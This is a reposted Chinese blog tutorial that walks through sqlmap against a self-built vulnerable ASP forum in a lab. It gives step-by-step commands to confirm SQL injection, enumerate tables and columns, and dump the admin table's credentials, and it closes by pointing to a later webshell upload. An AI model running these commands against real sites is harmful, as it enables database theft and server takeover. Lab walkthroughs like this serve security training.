【转】Python渗透测试工具:sqlmap
【转】:https://www.xdbcb8.com/archives/896.html
Python中的sqlmap是一种开放源码渗透测试工具,可自动检测、利用SQL注入漏洞和接管数据库服务器的过程。
它配备了一个强大的检测引擎,适用于许多渗透测试的特色功能,以及从数据库特征识别,从数据库获取数据到访问底层文件系统以及在操作系统上执行命令。
官方网站:
automatic SQL injection and database takeover tool
安装方式:
pip install sqlmap
是否支持Python3:
否
$ python sqlmap.py -h [CRITICAL] incompatible Python version detected ('3.5.2'). For successfully runn ing sqlmap you'll have to use version 2.6 or 2.7 (visit 'http://www.python.org/d ownload/')
测试环境:
本地搭建的具有sql注入点的网站 http://10.20.226.238:58031/bbs/index.asp
需要自己搭建一个有漏洞的测试网站,如果你没有合适的测试网站,可以关注微信公众号:学点编程吧获取。
该网站是由asp+access数据库编写的简易BBS,仅供测试使用。运行后的效果如下:
好了,有了具体的测试网站,接下来就开始我们渗透测试了。
注意:sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。
检测注入点是否可用
这里我们首先要进入sqlmap.py所在目录,默认应该在目录:
C:\Python27\Lib\site-packages\sqlmapC:\Python27\Lib\site-packages\sqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351"
参数:
-u:指定注入点url
结果:
其中:
[11:09:43] [INFO] heuristic (basic) test shows that GET parameter ‘id’ might be
injectable (possible DBMS: ‘Microsoft Access’)
[11:09:43] [INFO] heuristic (XSS) test shows that GET parameter ‘id’ might be vu
lnerable to cross-site scripting attacks
上述信息我们可以知道这个url可能存在注入漏洞、跨站脚本攻击
it looks like the back-end DBMS is ‘Microsoft Access’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它后端DBMS看起来像是“Microsoft Access”。 是否要跳过特定于其他DBMS的测试有效内容[Y/n] 。
这里我们选择Y。后面有几个仍然需要我们选择的,我们都选Y。最后给我们一个检测结果。
注入结果展示:
(1)注入参数id为GET注入,注入类型:boolean-based blind
(2)数据库类型为:Microsoft Access
其中有若干询问语句,需要用户输入[Y/N],如果你懒得输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:
C:\Python27\Lib\site-packages\sqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351" --batch
结果如下:
猜测表名
一条命令即可曝出该表名,命令如下:
C:\Python27\Lib\site-packages\sqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351" --tables
参数:
—tables:tables前面有两条杠,请看清楚。
结果:
do you want to use common table existence check? [Y/n/q]
是否要使用公共表存在检查存在? 输入”Y”
please enter number of threads? [Enter for 1 (current)] 请输入线程数? [输入 1 (当前)]
然后要你输入线程数,这里输入10,线程数不能输入过大,否则会提示错误。
然后通过猜测我们得到了相应的表名:admin、bbs
结果:
猜测表中的列名
知道了数据库中表的名称,admin、bbs,一般情况下,用户名和密码是存储在admin表中的,所以我们使用sqlmap猜测admin表中的列名
C:\Python27\Lib\site-packages\sqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351" --column -T "admin"
结果:
我们可以看到admin表中存在username和userpass这两个字段,那么只要猜测出该列中的内容就能得到admin的登录用户名和密码了。
猜测列中的内容
C:\Python27\Lib\site-packages\sqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351" --dump -T "admin" -C "username"
结果:
我们看到用户名和密码分别是:admin/12345等等,我用admin和12345,来测试看看。
验证结果
结果是验证成功的,测试结果如下:
总结
这只是一个模拟测试,通过sqlmap破解网站的用户名和密码,当然后面你可以通过上传webshell等等手段,拿到主机的控制权限,这是后话,最后放一个全部的操作记录动画。